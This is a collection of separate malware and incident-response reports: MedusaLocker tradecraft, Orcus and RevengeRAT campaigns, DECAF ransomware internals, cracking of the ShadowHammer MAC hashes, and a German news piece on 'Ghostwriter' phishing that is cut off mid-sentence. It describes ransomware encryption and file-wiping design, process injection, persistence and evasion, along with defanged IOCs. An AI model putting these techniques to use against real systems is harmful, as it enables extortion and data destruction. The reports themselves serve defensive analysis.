# Part 2: Analysing MedusaLocker Ransomware In this 3-part post, we share the tradecraft from an RDP brute force linked ransomware event (MedusaLocker) we responded to in June 2020. We cover the business ramifications of the attack, technical analysis, and some advice based on attacks such as these. ## Persistence No specific persistence events were observed; it is assessed that these intruders likely rely on the tempo of operations and the low-security posture of the victim to complete their objectives before being evicted. Interestingly, the earliest reference to the SVHOST task that executed the ransomware was on 16/06/2020 at 4:58:11 pm, even though most of the adversary activity was conducted later on 17/06/2020 from 3:00 to 4:00 am. This potentially represented a minimum viable (aka local) ransomware deployment in case the actors were detected and lost access to the host. Given the ~10hr time offset, this may also represent a geographically distributed set of intrusion operators involved. ## Privilege Escalation The admin account compromised already had Domain Administrator rights (T1110), so no privilege escalation was strictly necessary. Nonetheless, Theta observed the Domain\Administrator (S-1-5-21domain-500) account utilized by the intruder for lateral movement and reconnaissance. However, the exact mechanism these credentials were obtained with was not observed (other reporting suggests mimikatz staged in the `kamikadze` folder). Theta also observed the use of NT\SYSTEM (with C:\Windows\syswow64\config\systemprofile storing some useful artifacts). ## Defense Evasion Event logs and registry hives show artifacts related to the removal of ESET, the installed AV product on the server (T1089) before starting the encryption, some duplication of which may represent automated removal rather than by hand. The previously mentioned arch.z$ sequence of files in the certutil log represents evidence of obfuscation of files or information (T1027), which is another technique to avoid detection. ## Credential Access Given the limited telemetry available, no evidence of Credential Access TTPs was observed (such as accessing system hives, the ntds.dit file, or the ever-ubiquitous and suspected mimikatz). While this was not necessary for the actors to carry out their objectives as referenced in the Privilege Escalation section, ultimately other accounts were obtained; however, their mechanism for access remains unknown. Recovered registry hives show the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest key was set to 1; although given the age of the machine in question, it was possible that the legitimate system administrators never applied the fix to disable this. During the period the intruders were on the system, there appeared to be a legitimate login from the Domain\Administrator account (S-1-5-21domain-500), which would have given an additional opportunity for the intruders to hijack these credentials, although this remains an open question. ## Discovery Several network discovery tools were used by the actor (T1018). Famatech’s Advanced Port Scanner was deployed to the host, with evidence suggesting interaction and use. The aforementioned PSnmap.psd1 PowerShell datafile (likely an implementation of the well-known nmap) is another network discovery/reconnaissance tool, and 2sys.ps1 script (if the same as referenced by Carbon Black) contains RDP scanning functionality. The deployed binary NetworkShare_pre2.exe detected variously as NetTool has a diverse set of capabilities focused around network discovery. This was not removed from the staging directory unlike most of the other tooling across this intrusion. WinPCAP 4.1.3 (rpcapd.exe) was also installed as a service onto the host by the actor, but its exact purpose cannot be inferred as it may be a dependency of other tooling used. ## Lateral Movement There is evidence from Security Event Logs of the Domain\Administrator account logging onto other hosts in the environment (via Event ID 4648). The connect-mstsc (Connect-Mstsc.ps1) likely provides RDP functionality in PowerShell. All the other impacted hosts in the environment would not boot, so minimal forensic analysis was conducted into them as to the actions on them before encrypting. Other reporting details Medusa Locker spreading via PSexec and SMB - although with Domain Admin access, a raft of lateral movement techniques is available. Ultimately, the actors were able to spread their payload to effectively every host in the domain (bar a few off-site laptops). ## Collection There was no firm evidence of collection observed by the actor. Circumstantial evidence shows interaction with a SQL database present on the system. ## Command and Control As mentioned, the intruders logged in via RDP (External Remote Services - T1133) from 185.202.1[.]19, 213.7.208[.]69 & 5.2.224[.]56. Additional information, such as keyboard language or screen size, was not available. ## Exfiltration The ransom note referenced potential data exfiltration and release; however, no direct evidence of this was found, and no effort was made to reach out and engage with the actor. Of the limited telemetry observed, there was a spike of 200Gb+ uploaded which did not match the pattern of life around the incident. If it was carried out, it may have been via RDPclip (Exfiltration Over Command and Control Channel - T1041), which would have left little evidence. The actor has not followed up by engaging with the client. Access to this environment with Domain Admin would have given them enough access to harvest emails and contact details for the business had they wished. ## Impact Given the nature of this intrusion, Data Encrypted For Impact (T1486) was the end goal. This was incredibly successful in this environment. The actor created a hidden scheduled task “svhost” (similarly named to the legitimate svchost process used by Windows) and stored the binary in the %AppData%\Roaming\ folder for the compromised admin user. The binary itself was also named svhost.exe. The binaries contain a unique key per campaign, so to preserve the confidentiality of the client, this file won’t be made available in full. Event logs show its execution every 15 minutes (this behavior is consistent with other reported activity on Medusa Locker) as well as failure notices later on. There remains some ambiguity around the exact timing of their operations. There’s evidence of the scheduled task running while the operators were still engaged on the host – unfortunately, prefetch data was not available for analysis. Given the cryptographic overhead involved in sequentially encrypting each file on the file system, they may have been confident in the knowledge that the system would take some time to become fully degraded, especially if the non-system drives were targeted first. There is some evidence (via event logs and shellbags) of graphical interaction with the Windows task scheduler to manipulate the scheduled task after its deployment – in what looks like troubleshooting efforts. It remains unclear if the operators intended to prevent the other hosts on the network from booting at all via encrypting the master boot record or if this was unintended; however, the result was that some of the machines were rendered inoperable (T1487 - Disk Structure Wipe). A simple script named _backup.bat was used to delete Volume Shadow Copies – evidence of Inhibiting System Recovery (T1490) and this was executed on the system before encryption. Other examples of MedusaLocker have shown vssadmin.exe to be spawned to further complicate recovery attempts (T1490). The ransom demand pointed to a TOR address with a unique string for this campaign. While we did not interact with the attackers, others had, which in turn revealed a modestly successful return, at least for this campaign and further indirect evidence of this adversary successfully monetizing their operation through Data Encrypted For Impact (T1486).
# RAT Ratatouille: Backdooring PCs with leaked RATs By Edmund Brumaghin and Holger Unterbrink. ## Executive Summary Orcus RAT and RevengeRAT are two of the most popular remote access trojans (RATs) in use across the threat landscape. Since its emergence in 2016, various adversaries have used RevengeRAT to attack organizations and individuals around the world. The source code associated with RevengeRAT was previously released to the public, allowing attackers to leverage it for their own malicious purposes. There are typically numerous, unrelated attackers attempting to leverage this RAT to compromise corporate networks for the purposes of establishing an initial point of network access, performing lateral movement, and exfiltrating sensitive information that can be monetized. Orcus RAT was in the news earlier this year due to Canadian law enforcement activity related to the individual believed to have authored the malware. Cisco Talos recently discovered a threat actor that has been leveraging RevengeRAT and Orcus RAT in various malware distribution campaigns targeting organizations including government entities, financial services organizations, information technology service providers, and consultancies. We discovered several unique tactics, techniques, and procedures (TTPs) associated with these campaigns, including the use of persistence techniques most commonly associated with "fileless" malware, obfuscation techniques designed to mask C2 infrastructure, and evasion designed to circumvent analysis by automated analysis platforms such as malware sandboxes. The characteristics associated with these campaigns evolved over time, showing the attacker is constantly changing their tactics in an attempt to maximize their ability to infect corporate systems and work toward the achievement of their longer-term objectives. ## Malicious Email Campaigns There have been several variations of the infection process associated with these malware distribution campaigns over time. In general, the emails in every case claim to be associated with complaints against the organization being targeted. They purport to be from various authorities such as the Better Business Bureau (BBB). Below is an example of one of these emails: In addition to the Better Business Bureau, Talos has also observed emails purporting to be associated with other entities such as the Australian Competition & Consumer Commission (ACCC), Ministry of Business Innovation & Employment (MBIE), and other regional agencies. Earlier malware campaigns contained a hyperlink that directed potential victims to the malicious content responsible for initiating the malware infection. The attacker made use of the SendGrid email delivery service to redirect victims to an attacker-controlled malware distribution server. The link in one example email was pointed to a SendGrid URL responsible for redirecting the client to a URL hosted on an attacker-controlled server that hosts a ZIP archive containing the malicious PE32 used to infect the system. A PE32 executable is inside the ZIP archive. It needs to be executed by the victim to infect the system with Orcus RAT. The PE32 filename features the use of double extensions (478768766.pdf.exe), which, by default on the Windows operating system, will only display the first extension (.PDF). The PE32 icon has been set to make the file appear as if it is associated with Adobe Acrobat. This loader (478768766.pdf.exe) is protected by the SmartAssembly .NET protector but can easily be deobfuscated via d4dot. It is responsible for extracting and decrypting the Orcus RAT. It extracts the Orcus executable from its Resource "人豆认关尔八七." The Class5.smethod_1 method decodes the content from the resource section and restores the original Orcus RAT PE file. The smethod_3 shown below finally starts another instance of the loader (478768766.pdf.exe) and injects the Orcus PE file into this loader process. Then it resumes the process, which executes the Orcus RAT PE file in memory in the 478768766.pdf.exe process context. This means the original Orcus RAT PE file is never written to disk in clear text, making it more difficult for antivirus systems to detect it. The loader achieves persistence by creating a shortcut that points to its executable and storing the shortcut in the following Startup directory: `C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` The dropper also copies itself over to `%APPDATA%\Roaming\trfgtf\rfgrf.exe` and creates and starts the `rfgrf.exe.bat` file, which executes the copy of the loader every 60 seconds. In later campaigns, the adversary modified the infection process, and emails no longer leveraged the SendGrid URLs. Later emails featured the same themes and verbiage but were modified to contain ZIP archive attachments. The attached ZIP archives contain malicious batch files responsible for retrieving the malicious PE32 file and executing it, thus infecting the system. Early versions of the batch file retrieved additional malicious content from the same server previously used to host the ZIP archives. One interesting thing to note about the batch files was the use of an obfuscation technique that is not commonly seen. In early campaigns, the attacker prepended the bytes "FF FE 26 63 6C 73 0D 0A" into the file, causing various file parsers to interpret the file contents as UTF-16 LE, resulting in the parsers failing to properly display the contents of the batch file. Later versions of the .bat downloader featured the use of obfuscation in an attempt to make analysis more difficult. They are using a simple obfuscation method and are just replacing all characters with variables that are resolved at runtime. The decoded version of the .bat file looks like this. Like in the non-obfuscated versions of the .bat file, the adversaries are downloading the .js file to a local directory (`C:\windows\r2.js`) and executing it. This `r2.js` file is another obfuscated script filled with a bunch of rubbish and one long line of code. This script writes the 'TVqQ…' string into the registry. It loads this string at the end of the infection process, decodes it, and executes it. Decompiling this payload in dnSpy shows an old friend: RevengeRAT. ## Command and Control (C2) Obfuscation As is the case with many popular RATs, the C2 infrastructure was observed leveraging Dynamic Domain Name System (DDNS) in an attempt to obfuscate the attacker's infrastructure. In these malware campaigns, the attacker took an additional step. They pointed the DDNS over to the Portmap service to provide an additional layer of infrastructure obfuscation. Portmap is a service designed to facilitate external connectivity to systems that are behind firewalls or otherwise not directly exposed to the internet. These systems initiate an OpenVPN connection to the Portmap service, which is responsible for handling requests to those systems via port mapping. We have recently observed an increase in the volume of malicious attackers abusing this service to facilitate the C2 process across various malware families. As demonstrated above, the DNS configuration for the DDNS hostname used by the malware for C2 has actually been pointed to the Portmap service. Let's Encrypt issued the SSL certificate associated with this host. ## Payload Analysis The adversaries used at least two different RATs in the campaigns which we have closely analyzed: Orcus RAT and RevengeRAT. For both RATs, the source code was leaked in the underground, and several adversaries have used it to build their own versions. The adversaries changed the source code slightly. They moved the original code into separate functions and changed the execution order a bit, plus added other minor changes like additional variables, but overall the code is still very similar to the leaked code. On the other hand, it is modified so that the resulting binary looks different for AVs. It is interesting to see that both (Client) IDs are pointing to the same name: CORREOS. In the Nuclear_Explosion file, aka RevengeRAT, it is only base64 encoded "Q09SUkVPUw==." ## Conclusion These malware distribution campaigns are ongoing and will likely continue to be observed targeting various organizations around the world. RevengeRAT and Orcus RAT are two of the most popular RATs in use across the threat landscape and will likely continue to be heavily favored for use during the initial stages of attacks. Organizations should leverage comprehensive defense-in-depth security controls to ensure that they are not adversely impacted by attacks featuring these malware families. At any given point in time, there are several unrelated attackers distributing these RATs in different ways. Given that the source code of both of these malware families is readily available, we will likely continue to see new variants of each of these RATs for the foreseeable future. ## Indicators of Compromise (IOCs) The following indicators of compromise (IOCs) have been observed to be associated with malware campaigns. ### ZIP Hashes (SHA256): - c66c96c8c7f44d0fd0873ea5dbaaa00ae3c13953847f0ca308d1f56fd28f230c - d6c5a75292ac3a6ea089b59c11b3bf2ad418998bee5ee3df808b1ec8955dcf2a ### BAT Hashes (SHA256): - 20702a8c4c5d74952fe0dc050025b9189bf055fcf6508987c975a96b7e5ad7f5 - 946372419d28a9687f1d4371f22424c9df945e8a529149ef5e740189359f4c8d ### PE32 Hashes (SHA256): - ff3e6d59845b65ad1c26730abd03a38079305363b25224209fe7f7362366c65e - 5e4db38933c0e3922f403821a07161623cd3521964e6424e272631c4492b8ade ### JS Hashes (SHA256): - 4c7d2efc19cde9dc7a1fcf2ac4b30a0e3cdc99d9879c6f5af70ae1b3a846b64b ### Domains: - skymast231-001-site1[.]htempurl[.]com - qstorm[.]chickenkiller[.]com ### IP Addresses: - 193[.]161[.]193[.]99 - 205[.]144[.]171[.]185
# DECAF Ransomware: A New Golang Threat Makes Its Appearance Posted by Hido Cohen & Michael Dereviashkin on October 28, 2021 The Go language is becoming increasingly popular among threat actors, with attacks starting to appear in 2019. Morphisec Labs has tracked a new Golang-based (1.17) ransomware variant that appeared starting in late September and continued development through October. Morphisec recommends organizations update their breach prevention strategies to include the risk of Golang-based ransomware. ## Introduction Ransomware written in the Go language is quickly becoming more popular among threat actors. These include Babuk, Hive, and HelloKitty, as well as many other threats written in Golang. “Go” is a statically typed, object-oriented, cross-platform programming language introduced by Google. The abstraction and the support for multiple platforms is an advantage for many developers and also a disadvantage for security vendors who attempt to create signatures for malicious executable malware, which comes with all the dependent libraries built-in. Morphisec Labs has identified a new strain of ransomware, implemented in Go 1.17 and named DECAF. The first version, which includes symbols and test assertion, was identified in late September. The attackers very quickly stripped the original alpha version, added additional functionality, and uploaded this stub version to verify its detection score. Within a week they had deployed a fully weaponized version on a customer site. Golang 1.17 introduces additional complexity to analyze the application flow due to a modification in how parameters are being passed to functions. This is a great example of how the attackers are becoming extremely agile in utilizing the latest technology. The blog post that follows will cover in great detail the different debug and pre-release versions of the new ransomware strain, as well as how the threat actor successfully encrypts their target. ## Technical Introduction As has been described in the introduction, we have identified the delivery of the DECAF ransomware on one of our customer’s sites. It is only following a detailed investigation that we successfully found a trail that leads us to a debug version of the ransomware, which also included symbols. In the first technical part, we will go into great detail about the functionality of this debug version step by step. In the second part of the blog, we will identify the updates introduced to the pre-release version. We are aware of more updated versions that have been deployed during the last two weeks. ## Technical Analysis ### Setting up The initialization phase sets up the data required for the ransomware’s malicious activity. The malware starts by parsing a command-line argument, --path, which represents the root directory where the ransomware will start recursively encrypting files. Next, the malware creates an Encryptor object structure: - Encrypted file prefix - each encrypted file header starts with special “magic” prefix, 0xDADFEEDBABEDECAF - DECAF file extension - .decaf - File extension length - Attacker’s Public key - initialize and parse the embedded PKCS1 public key (see IOCs section) Many ransomwares implement file filtering mechanisms for several purposes. Controls to avoid double encrypting the same file and avoiding the wrecking of the victim’s operating system for payment. DECAF is no different and also uses a files filtering mechanism. It ignores: 1. .decaf extension files 2. README.txt files 3. Embedded blacklists of files, folders, and extensions For that task, the attacker created a FileUtils class which has a pointer to README.txt string (the name of the ransomware notification file) and the relevant functions. One of the functions inside FileUtils is Init(). This function is responsible for building blacklists for files, folders, and file extensions. The next step is figuring out which directories the malware should encrypt. It checks if --path has value and if not calls to FileUtils.ListDriverRootPaths(). Looking inside ListDriverRootPaths, we can see that the malware iterates over the possible drives and searches for drives with a type that is NOT a DRIVE_CDROM. The last thing that the malware does in this phase is to create a WMI object for future use. We’ll go over its functionality when we show the mechanism used to delete files. ### Let’s Encrypt Some Files The encryption phase starts by adding the attacker’s email into the ransom note. As you may know, one of the biggest challenges ransomware authors face when developing ransomware is encryption performance. The malware needs to encrypt as many files as possible, as fast as possible. The author of DECAF chose the multi-goroutine (Go’s thread “equivalent”) method. It creates several encryption goroutines which wait for messages from the main routine. The message contains the file path that it has to encrypt. Each EncWorker waits to receive a new file path to encrypt from the channel. The file paths come from the function FileUtils.ListFilesToEnc, which enumerates the files of the given directory and applies filtering according to the blacklists, README.txt, and .decaf extension. ### Encryption Worker main_EncWorker_func1 is the function responsible for the encryption task. It listens for new file paths, calls the file encryption function, deletes the original file after it is encrypted, and creates a README.txt file inside each directory. Once the file path has been received, the function calls Encryptor.E for encrypting the file. The encryption routine is as follows: - Checks if the file size is smaller than 4GB - Sets up the cryptographic algorithms - DECAF uses AES-CBC-128 with a randomly generated encryption key and initial vector - Each file is encrypted with a different symmetric encryption key - The file’s encryption key is encrypted using the attacker’s public key The next thing is to open the source (original file) and target (encrypted file) files. The malware opens the original file with OF_READWRITE permission and creates a new target file with .decaf extension. The attacker needs to be able to decrypt all files in case someone pays the demanded ransom to maintain its credibility. To do that, the attacker creates a special header for each file that contains the relevant data for decryption. **Encrypted file format:** ``` { FilePrefix // Encrypted files identifier FileSize // Reconstruct the real file size after it has encrypted CBC_IV // Shared between encryption and decryption EncryptedKeyLength EncryptedKey // Required for decrypting the enc_key using the attacker's private key EncryptedData } ``` The file content is divided into chunks, where each chunk is 0x10 bytes. We wrote simple pseudocode which represents the content encryption’s logic: 1. Read 0x10 bytes from the original file 2. If it’s EOF, end. 3. If less than 0x10 bytes read, add random padding and create 0x10 bytes block 4. Encrypt the data 5. Write the encrypted data to the target file We can assume that the author chose to divide the data into such small chunks as a way to evade detection by Anti-Ransomware solutions that monitor for large data chunk encryptions. ### Original File Wiping Once the ransomware has created the encrypted file it needs to delete the original file and eliminate the target’s ability to recover the file. First, the malware deletes the file using the WMI object created in the initialization phase. Now the last thing left is to remove the recovery ability on the infected system. For that, DECAF utilizes cipher.exe, similarly to other ransomware (e.g., LockerGoga and MegaCortex). DECAF iterates over the directories it needs to encrypt and calls cipher.exe with a /w: <directory_path>. This option overwrites (“wipes”) deleted data and, as a result, eliminates the ability to recover the file. ## Debug VS Pre-Release The difference between the two versions of the same ransomware is that the pre-release variant is stripped of symbols, strings and function names are obfuscated. We assumed that the second version is a Pre-Released version due to the Protonmail used in the ransom note, which is filled with a placeholder instead of a real email address. ### Time for comparison Let’s take a look at the code from runtime.schedinit that contains the variable buildVersion. This variable points to the Golang version that has been used, at least in the case that the symbols are present and not stripped. It’s worth mentioning that Go 1.17 implements a new way of passing function arguments and results using registers instead of the stack. Because of this, reverse engineering Golang could become messy for newcomers. ### Public key The ransomware uses string obfuscation in its Pre-Release version. Strings are being de-obfuscated on runtime while utilizing different custom de-obfuscation functions. For example, the initialization of the `Encryptor` object’s decaf extension attribute. Another example could be seen while deleting the original file. The WMI query used in the Debug version was embedded into the binary while in the Pre-Release version it was stored encrypted. Before calling the delete function, the malware executes the decryption function and reveals the real WMI query, as we saw in the Debug version. ## Conclusion The development of DECAF continues to this day, showing that ransomware groups constantly innovate their attacks. That the attack is written in Golang is further proof of this trend toward innovation among the adversary community; threat actors are forever making changes and adding new capabilities to evade the detection-centric solutions that predominate in the market. Companies need to adopt prevention-first strategies, such as the ones Morphisec provides, to ensure that they stand a chance at protecting their critical systems from further attacks. Morphisec Labs will continue to track the development of the DECAF ransomware and report any further developments that we uncover. ## IOCs **Debug Version Public Key** ``` -----BEGIN RSA PUBLIC KEY----- MIIBCgKCAQEAv+D8WLstRCGExBNfcsd8iYvvBajk1wxLbHgteWQCtXWqr7VDaBD8 SEVez9LQVDvUNdHmRK+8n/JtkJ2vuPwBfb8IxZJ7sXsk/Zt1eoE7tZYUtKTZwazl 1zNbTR8Ocftkj3LW57atj+nTEUues7RkauWkXAlJckGXON4LXTI63QFleOmF0+C+ xoRkw3MibdQhePLZFm9eczZAmYqU875iBAQ5krsmvG10FU+2VVKmwAXfD9EUiuQ0 ZQPwayA0ubYuMmayj6SE7OlQzYuPQJzj6vYjMOnalCoe3yEu6Km35moYDcBN9p9f v36lPX2Mlq20tYiuGKcGSMeT7y/fmO9joQIDAQAB -----END RSA PUBLIC KEY----- ``` **Pre-Release Version Public Key** ``` -----BEGIN RSA PUBLIC KEY----- MIIBCgKCAQEAq4k1Hdb1THrzBBeO184knCbBKr03apfXqlOkSdtHSJgfyIqJPGxl /cFisJmVXR3/t4e9FbLsEIuTp9PJTciomHfr5CgCQzhnAZ0AvjGBaWP6KpCyfDns ybruyKqygaWpZSAnzRdB+TAku5iqy8q1VwnN57QBltro0YJZ8enKZRTlczmtjeOp B/xuTOuDjmUSNiGyijWBVfYk7sVXl/lQ8taXr36xPWhMIG0EqRVrFV+cavS7Z4va yXmcf55NkpMGKKY8uqvwb4aLIKabek2nUWBgNgSOtqBLLL2A2bY/5s0GJ/VV+EmI X7/zI+FceU+dcNX/ir0ujP4ys4m/jjZD4wIDAQAB -----END RSA PUBLIC KEY----- ``` **Hashes** - Pre-release: 5da2a2ebe9959e6ac21683a8950055309eb34544962c02ed564e0deaf83c9477 - Debug: 98272cada9caf84c31d70fdc3705e95ef73cb4a5c507e2cf3caee1893a7a6f63 ## Appendix **Files blacklist** - bootfont.bin - boot.ini - ntuser.dat - desktop.ini - iconcache.db - ntldr - ntuser.dat.log - thumbs.db - bootsect.bak - ntuser.ini - autorun.inf - bootnxt - bootmgr **Directories blacklist** - intel - program files (x86) - program files - msocache - $recycle.bin - $windows.~ws - tor browser - boot - system volume information - perflogs - google - application data - windows - programdata - windows.old - appdata - mozilla **Extensions blacklist** - .themepack - .shs - .prf - .ldf - .drv - .dll - .scr - .wpx - .nomedia - .icl - .deskthemepack - .idx - .386 - .bat - .tmp - .cmd - .rom - .pdb - .ani - .msc - .lib - .adv - .lnk - .class - .theme - .cab - .msi - .spl - .rtp - .ps1 - .diagcfg - .msu - .msstyles - .ics - .bin - .key - .hlp - .msp
# Unleash The Hash **TL;DR:** The latest list of plain-text MAC addresses targeted in the ShadowHammer ASUS breach can be downloaded here. You can find the extended list containing more complete information here. Last Updated: 30/Mar/2019. You have probably heard of the ShadowHammer hack by now. A truly disturbing case that shows yet again, that nothing can be 100% trusted, not even a formally signed update from a well-known vendor. According to available information, the threat actors have infected computers en-masse, but have targeted specific machines based on their MAC address. The question of who did this and why is intriguing, but not one we were trying to answer in this case. First thing’s first - if information regarding targets exists, it should be made publicly available to the security community so we can better protect ourselves. Kaspersky have released an online tool that allows you to check your MAC address against a DB of victim MAC addresses (which is hidden). Good on Kaspersky on one hand, but on the other hand, this is highly inefficient, and does not really serve the security community. So, we thought it would be a good idea to extract the list and make it public so that every security practitioner would be able to bulk compare them to known machines in their domain. If you are interested in the list it can be downloaded here or here for the extended list. ## Phase I - getting the bulk list in binary format In conjunction with the website, Kaspersky have released an executable that checks if your machine has been targeted. Naturally, since it is an offline tool, it means that the full list of MAC addresses has to be contained within that executable. So, up goes IDA and we go hunting for the MAC list. Before even taking a look at the disassembled code, we can hypothesize how such a tool might work: - Extract local MAC addresses - Calculate hashes for those addresses - Compare the local list with addresses that are embedded in the executable A quick look at the disassembly shows that the entire logic of the program was written inside WinMain() (classic security researcher coding style…). Sure enough, the program follows the expected steps. We can see that the first thing the tool does is extract the local MAC addresses and hash them. Following that, we can immediately recognize two sets of nested loops, and further analysis reveals that there are actually two different lists the tool compares the hashes of the local MAC addresses to. Finding the two lists is straightforward, and the total weight of the hashes is 19936 bytes. ## Phase II - what the hash?! So now that we have the list, and knowing that the threat actors used MD5 hashes, we have to brute force these MD5s, which should be pretty straightforward. However, something doesn’t seem right from the get-go. MD5 hashes are 16 bytes (128 bit) long, but dividing the list of hashes by 16 yields 1246, which doesn’t make sense as we know from publications that there should be around 600 addresses. Moreover, the hash comparison loops seem to work in 32 bytes increments, suggesting a different hashing algorithm than MD5. We need to dig deeper… Looking at the hashing routine, we find this: For people involved with cryptography, these constants are an instant tell-tale sign of SHA2-256. SHA256’s hash size is 32 bytes long, matching the comparison routine. We don’t consider disassembling crypto code as a fun afternoon activity, and so we’ve opted to try the short path first. Let’s hash one of the few known target MAC addresses with SHA2-256 and see if we get a hit. Nothing in life is easy, especially not crypto, so of course, the approach failed, and we did not get a hit. Little did we know that these are not vanilla SHA256 hashes at all. ## Phase III - Who are you Mr. hash? Reluctantly, we had to dig deeper into the hashing routine. Following a reference implementation of SHA256 and the disassembly, we’ve noticed that the code calls SHA256_Transform (the inner function that performs transformations on the inner algorithm state) with a constant that seems to be four bytes long. Well, “That must be it!”, they’ve salted the hash, we figured. But why would they do that? Are they trying to hide those MAC addresses? Anyway, we’ve tried the blackbox approach using known target MAC address hashed with the discovered salt (0xad, 0x12, 0xf4, 0x19) to see if we get a match, but it failed again. Dynamically analyzing calls to the SHA256_Transform function demonstrated that the hash is actually calculated on repeated sequences of the salt + MAC address. Revisiting the disassembled code, we can spot a constant (10,000) being used to break a loop. Could they be running the hashing algorithm 10,000 times with the salt? Let’s have a go with the following code and test it: ```php $salt = "\xad\x12\xf4\x19"; $mac = "\x70\x8b\xcd\x10\x43\x18"; // 70:8B:CD:10:43:18 (one of the few MD5s that were published and we brute-forced) $ctx = hash_init("sha256"); for($i=0;$i<10000;$i++) hash_update($ctx, "$salt$mac"); print hash_final($ctx); ``` Which yields “cde5d9a781e56f37351be146a4389a975a9838f0fe13710f3501202e8ca2fb7a”. This hash is part of the list of hashes embedded in Kaspersky’s executable. Yes! This is definitive proof! Now that we have the hashing algorithm we can start brute-forcing. ## Phase IV - We’re going to need a bigger cat You can write your own code to brute-force hashes, but there is a lot of know-how involved in making the most use out of your hardware. For us, Hashcat was an obvious choice, given that it’s an open-source and flexible tool. We tried stretching Hashcat’s features to their fullest, but couldn’t find a way to use the algorithm we saw in Kaspersky’s code (If you know of a method, please share in the comments). After a sigh that was heard throughout the continent, we set about to modify Hashcat to support the new scheme. Trying to compile & build most open-source cross-platform projects on Windows is a pain and Hashcat is no different, so we’ve switched to our Linux box. Actually, it was surprisingly easy to enhance Hashcat and all we had to do is add two lines of code inside the OpenCL implementation of SHA2-256 (Hashcat algorithm #01400). And with that we were good to go. ## Phase V - She’s not gonna hold, Captain! Trying to brute-force the entire space of MAC addresses, hashed using SHA256 on the repeated salt+MAC is not feasible in a reasonable amount of time and resources. Therefore, we had to reduce the address space. A MAC address is comprised of the prefix (3 bytes) and a suffix (3 bytes). Prefixes are allocated to vendors. We used a couple of different strategies to limit the prefixes we were targeting: - Limit to only known, assigned MAC address prefixes. - Reduce further by following information released by other security vendors: 360 Threat Intelligence Center tweeted a nice infographic detailing the distribution of vendors of targeted MAC addresses. We could use that list to limit the prefixes we were brute-forcing. - Limit to prefixes assigned to AsusTek. Even with all of those strategies in place, brute forcing a single prefix was going to take us ~3 hours on our modest hardware. With a narrowed down list of around 1300 prefixes, that meant 162.5 days, a tad bit more than we would have liked. ## Phase VI - victory With that in mind, we realized that to do brute-forcing you need a brute! Enter Amazon’s AWS p3.16xlarge instance. These beasts carry eight (you read correctly) of NVIDIA’s V100 Tesla 16GB GPUs. As Al Pacino once said - “Say hello to my little friend!” :) The entire set of 1300 prefixes was brute-forced in less than an hour. So far, we’ve managed to extract 583 out of 619 hashes, others probably have different vendors associated with them. If you’ve found a MAC address that is not on our list, please contact us and we’ll update accordingly (or share in the comments section). Thanks again Kaspersky for an enjoyable afternoon!
# Cyberattacken Angriff der "Chaostruppe" Die Hackergruppe "Ghostwriter" hat deutsche Politiker im Visier. Ersten Analysen zufolge führt die Spur nach Russland. Die Sicherheitsbehörden sind besorgt, dass es zu gezielten Desinformationskampagnen im Bundestagswahlkampf kommen könnte. Es ist Montag, der 18. Januar, kurz nach 10 Uhr, als der Twitter-Account des polnischen Politikers Marek Suski plötzlich ungewöhnliche Mitteilungen absetzt. "Das Verhalten einiger Frauen ist inakzeptabel und überschreitet jegliche moralische Grenzen", stand in einem Tweet. Er werde von einer Frau sexuell belästigt und müsse sich nun wehren, damit dies endlich aufhöre. Es folgte ein Tweet mit drei Fotos. Darauf zu sehen war eine blonde Frau, ebenfalls Politikerin. Die Aufnahmen zeigen sie leicht bekleidet, teilweise nur in Unterwäsche und Nachthemd. Zum Zeitpunkt, als die Bilder gepostet wurden, hatte Suski rund 12.000 Twitter-Follower. Die Tweets mit den freizügigen Fotos aber hatte der Politiker gar nicht selbst veröffentlicht. Es waren Hacker, die heimlich sein Nutzerkonto übernommen hatten. Sie sollen zuvor auch die Social-Media-Kanäle der Politikerin gehackt und sich wohl auch die Bilder von ihrem Handy verschafft haben. Russland unter Verdacht: Cyberangriff auf Politiker. Hacker sollen die privaten E-Mail-Konten von Politikern angegriffen haben. Russischer Geheimdienst unter Verdacht. Die Hackergruppe, die mit den gefälschten Politiker-Tweets in Polen für Aufsehen sorgte, beschäftigt nun auch deutsche Sicherheitsbehörden. Denn sie soll auch hierzulande Politiker ins Visier genommen haben. In der vergangenen Woche wurde bekannt, dass das Bundesamt für Verfassungsschutz (BfV) und das Bundesamt für die Sicherheit in der Informationstechnik (BSI) derzeit vor Cyberangriffen der Hacker warnen - und davon ausgehen, dass der russische Militärgeheimdienst GRU hinter den Attacken stecken könnte. Sieben Bundestags- und mehr als 30 Landtagsabgeordnete sollen kürzlich sogenannte "Phishing-Mails" erhalten haben. Das sind harmlos wirkende E-Mails, in denen oft ein Link zu einer Webseite eingefügt ist, auf der Nutzer aufgefordert werden, ihre Passwörter einzugeben. Der Verfassungsschutz hatte die Angriffswelle frühzeitig bemerkt und anschließend die betroffenen Personen informiert. Betroffen sein sollen fast nur CDU- und SPD-Abgeordnete. Die Zahl der Empfänger der verdächtigen E-Mails soll in den vergangenen Tagen weiter gestiegen sein. In einem Schreiben des BfV und des BSI, das WDR und BR vorliegt, warnen die Behörden Parlamentarier, "dass Ihre dienstliche und/oder private E-Mail-Adresse im Fokus einer gezielten Phishing-Kampagne stehen könnte". Weiter heißt es, der Verfassungsschutz gehe "von einem nachrichtendienstlichen Hintergrund aus". Es sei zudem davon auszugehen, dass möglicherweise gestohlene Daten für weitere Aktivitäten genutzt werden sollten. Etwa "für den Zugriff auf Ihre Benutzerkonten bei sozialen Netzwerken oder zur Verbreitung von Falschmeldungen". Die Behörden nehmen den Fall sehr ernst - vor allem wegen des brisanten Zeitpunktes. Im September findet die Bundestagswahl statt, zudem stehen noch mehrere Landtagswahlen und eine Kommunalwahl an. In den Sicherheitsbehörden ist daher die Sorge groß, dass russische Geheimdienste versuchen könnten, gerade im Superwahljahr 2021 die politischen Prozesse in Deutschland zu beeinflussen oder massiv zu stören. In den USA und in Frankreich war es in der Vergangenheit zu solchen Aktionen durch mutmaßlich russische Hackergruppen gekommen. Die Sorgen über russischen Einfluss auf den französischen Wahlkampf waren groß, eine Kampagne blieb bisher aus. In der vergangenen Woche sprach BfV-Präsident Thomas Haldenwang den aktuellen Vorfall im geheim tagenden Parlamentarischen Kontrollgremium des Bundestages an, das die Arbeit der Geheimdienste kontrolliert. Haldenwang soll erklärt haben, dass die Sicherheitsbehörden den russischen Militärgeheimdienst GRU hinter der Attacke vermuten. Mehr als 200 E-Mail-Adressen sollen die Hacker angegriffen haben und zwar fast ausschließlich Nutzerkonten bei den Anbietern 